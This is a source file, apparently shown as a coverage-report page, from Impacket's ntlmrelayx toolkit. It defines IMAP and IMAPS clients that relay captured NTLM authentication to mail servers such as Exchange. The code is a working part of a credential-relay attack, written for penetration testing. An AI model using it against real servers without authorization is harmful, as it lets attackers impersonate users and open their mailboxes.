Hide keyboard shortcuts

Hot-keys on this page

r m x p   toggle line displays

j k   next/prev highlighted chunk

0   (zero) top of page

1   (one) first highlighted chunk

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 

# 

# This software is provided under under a slightly modified version 

# of the Apache Software License. See the accompanying LICENSE file 

# for more information. 

# 

# IMAP Protocol Client 

# 

# Author: 

# Dirk-jan Mollema / Fox-IT (https://www.fox-it.com) 

# Alberto Solino (@agsolino) 

# 

# Description: 

# IMAP client for relaying NTLMSSP authentication to mailservers, for example Exchange 

# 

import imaplib 

import base64 

from struct import unpack 

 

from impacket import LOG 

from impacket.examples.ntlmrelayx.clients import ProtocolClient 

from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED 

from impacket.ntlm import NTLMAuthChallenge 

from impacket.spnego import SPNEGO_NegTokenResp 

 

PROTOCOL_CLIENT_CLASSES = ["IMAPRelayClient","IMAPSRelayClient"] 

 

class IMAPRelayClient(ProtocolClient): 

PLUGIN_NAME = "IMAP" 

 

def __init__(self, serverConfig, target, targetPort = 143, extendedSecurity=True ): 

ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity) 

 

def initConnection(self): 

self.session = imaplib.IMAP4(self.targetHost,self.targetPort) 

self.authTag = self.session._new_tag() 

LOG.debug('IMAP CAPABILITIES: %s' % str(self.session.capabilities)) 

if 'AUTH=NTLM' not in self.session.capabilities: 

LOG.error('IMAP server does not support NTLM authentication!') 

return False 

return True 

 

def sendNegotiate(self,negotiateMessage): 

negotiate = base64.b64encode(negotiateMessage) 

self.session.send('%s AUTHENTICATE NTLM%s' % (self.authTag,imaplib.CRLF)) 

resp = self.session.readline().strip() 

if resp != '+': 

LOG.error('IMAP Client error, expected continuation (+), got %s ' % resp) 

return False 

else: 

self.session.send(negotiate + imaplib.CRLF) 

try: 

serverChallengeBase64 = self.session.readline().strip()[2:] #first two chars are the continuation and space char 

serverChallenge = base64.b64decode(serverChallengeBase64) 

challenge = NTLMAuthChallenge() 

challenge.fromString(serverChallenge) 

return challenge 

except (IndexError, KeyError, AttributeError): 

LOG.error('No NTLM challenge returned from IMAP server') 

raise 

 

def sendAuth(self, authenticateMessageBlob, serverChallenge=None): 

if unpack('B', authenticateMessageBlob[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: 

respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob) 

token = respToken2['ResponseToken'] 

else: 

token = authenticateMessageBlob 

auth = base64.b64encode(token) 

self.session.send(auth + imaplib.CRLF) 

typ, data = self.session._get_tagged_response(self.authTag) 

if typ == 'OK': 

self.session.state = 'AUTH' 

return None, STATUS_SUCCESS 

else: 

LOG.error('IMAP: %s' % ' '.join(data)) 

return None, STATUS_ACCESS_DENIED 

 

def killConnection(self): 

if self.session is not None: 

self.session.logout() 

self.session = None 

 

def keepAlive(self): 

# Send a NOOP 

self.session.noop() 

 

class IMAPSRelayClient(IMAPRelayClient): 

PLUGIN_NAME = "IMAPS" 

 

def __init__(self, serverConfig, targetHost, targetPort = 993, extendedSecurity=True ): 

ProtocolClient.__init__(self, serverConfig, targetHost, targetPort, extendedSecurity) 

 

def initConnection(self): 

self.session = imaplib.IMAP4_SSL(self.targetHost,self.targetPort) 

self.authTag = self.session._new_tag() 

LOG.debug('IMAP CAPABILITIES: %s' % str(self.session.capabilities)) 

if 'AUTH=NTLM' not in self.session.capabilities: 

LOG.error('IMAP server does not support NTLM authentication!') 

return False 

return True